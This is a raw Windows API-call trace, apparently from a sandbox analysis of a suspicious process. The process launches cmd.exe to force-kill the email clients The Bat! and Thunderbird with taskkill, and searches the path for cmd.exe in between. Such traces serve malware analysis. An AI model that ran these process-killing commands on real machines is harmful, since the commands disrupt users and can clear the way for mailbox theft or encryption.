	[0047.885] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0047.885] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0047.885] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.886] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0047.886] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.886] GetEnvironmentStringsW () returned 0x7eb348*
	[0047.886] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0047.886] GetCurrentProcess () returned 0xffffffff
	[0047.886] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fef10, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fef10*=0xc0) returned 1
	[0047.886] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fef14, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fef14*=0xc4) returned 1
	[0047.886] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fef18, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fef18*=0xc8) returned 1
	[0047.886] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im thebat64.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12522c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im thebat64.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0x82c, dwThreadId=0x830)) returned 1
	[0047.901] CloseHandle (hObject=0xac) returned 1
	[0047.901] CloseHandle (hObject=0xc8) returned 1
	[0047.901] CloseHandle (hObject=0xc4) returned 1
	[0047.901] CloseHandle (hObject=0xc0) returned 1
	[0047.901] CloseHandle (hObject=0xbc) returned 1
	[0047.902] CloseHandle (hObject=0xb0) returned 1
	[0047.902] CloseHandle (hObject=0xb4) returned 1
	[0047.902] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0048.340] SetEvent (hEvent=0xa8) returned 1
	[0048.340] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0048.341] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x125013a0, lpExitTime=0x125013a8, lpKernelTime=0x125013b0, lpUserTime=0x125013b8 | out: lpCreationTime=0x125013a0, lpExitTime=0x125013a8, lpKernelTime=0x125013b0, lpUserTime=0x125013b8) returned 1
	[0048.341] CloseHandle (hObject=0xb8) returned 1
	[0048.341] SetEvent (hEvent=0x80) returned 1
	[0048.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0048.348] SetEvent (hEvent=0x80) returned 1
	[0048.348] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124eeb60, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.348] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502aa8 | out: lpFileInformation=0x12502aa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.348] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.348] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12502af8 | out: lpFileInformation=0x12502af8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502b48 | out: lpFileInformation=0x12502b48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12502b98 | out: lpFileInformation=0x12502b98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12502be8 | out: lpFileInformation=0x12502be8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12502c38 | out: lpFileInformation=0x12502c38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12502c88 | out: lpFileInformation=0x12502c88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12502cd8 | out: lpFileInformation=0x12502cd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.349] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.349] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12502d28 | out: lpFileInformation=0x12502d28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.350] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.350] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12502d78 | out: lpFileInformation=0x12502d78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.350] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.350] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12502dc8 | out: lpFileInformation=0x12502dc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.350] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.350] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12502e18 | out: lpFileInformation=0x12502e18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.350] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.350] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124eec30, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.350] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502e68 | out: lpFileInformation=0x12502e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0048.350] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124eed00, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.350] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502eb8 | out: lpFileInformation=0x12502eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0048.350] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0048.350] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0048.351] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0048.351] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0048.351] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0048.351] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0048.351] GetEnvironmentStringsW () returned 0x7eb348*
	[0048.351] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0048.351] GetCurrentProcess () returned 0xffffffff
	[0048.352] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250cc90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250cc90*=0xbc) returned 1
	[0048.352] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250cc94, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250cc94*=0xc0) returned 1
	[0048.352] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250cc98, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250cc98*=0xc4) returned 1
	[0048.352] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im thunderbird.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12536c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im thunderbird.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0x9d0, dwThreadId=0x9dc)) returned 1
	[0048.359] CloseHandle (hObject=0xc8) returned 1
	[0048.359] CloseHandle (hObject=0xc4) returned 1
	[0048.359] CloseHandle (hObject=0xc0) returned 1
	[0048.359] CloseHandle (hObject=0xbc) returned 1
	[0048.359] CloseHandle (hObject=0xb8) returned 1
	[0048.359] CloseHandle (hObject=0xb4) returned 1
	[0048.360] CloseHandle (hObject=0xb0) returned 1
	[0048.360] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0048.741] SetEvent (hEvent=0xa8) returned 1
	[0048.741] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0048.742] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x125110a0, lpExitTime=0x125110a8, lpKernelTime=0x125110b0, lpUserTime=0x125110b8 | out: lpCreationTime=0x125110a0, lpExitTime=0x125110a8, lpKernelTime=0x125110b0, lpUserTime=0x125110b8) returned 1
	[0048.742] CloseHandle (hObject=0xac) returned 1
	[0048.742] SetEvent (hEvent=0x80) returned 1
	[0048.742] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0048.744] SetEvent (hEvent=0x80) returned 1
	[0048.744] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6ea0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.744] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7368 | out: lpFileInformation=0x124f7368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.744] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.744] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f73b8 | out: lpFileInformation=0x124f73b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.744] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.744] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7408 | out: lpFileInformation=0x124f7408*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f7458 | out: lpFileInformation=0x124f7458*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f74a8 | out: lpFileInformation=0x124f74a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f74f8 | out: lpFileInformation=0x124f74f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f7548 | out: lpFileInformation=0x124f7548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
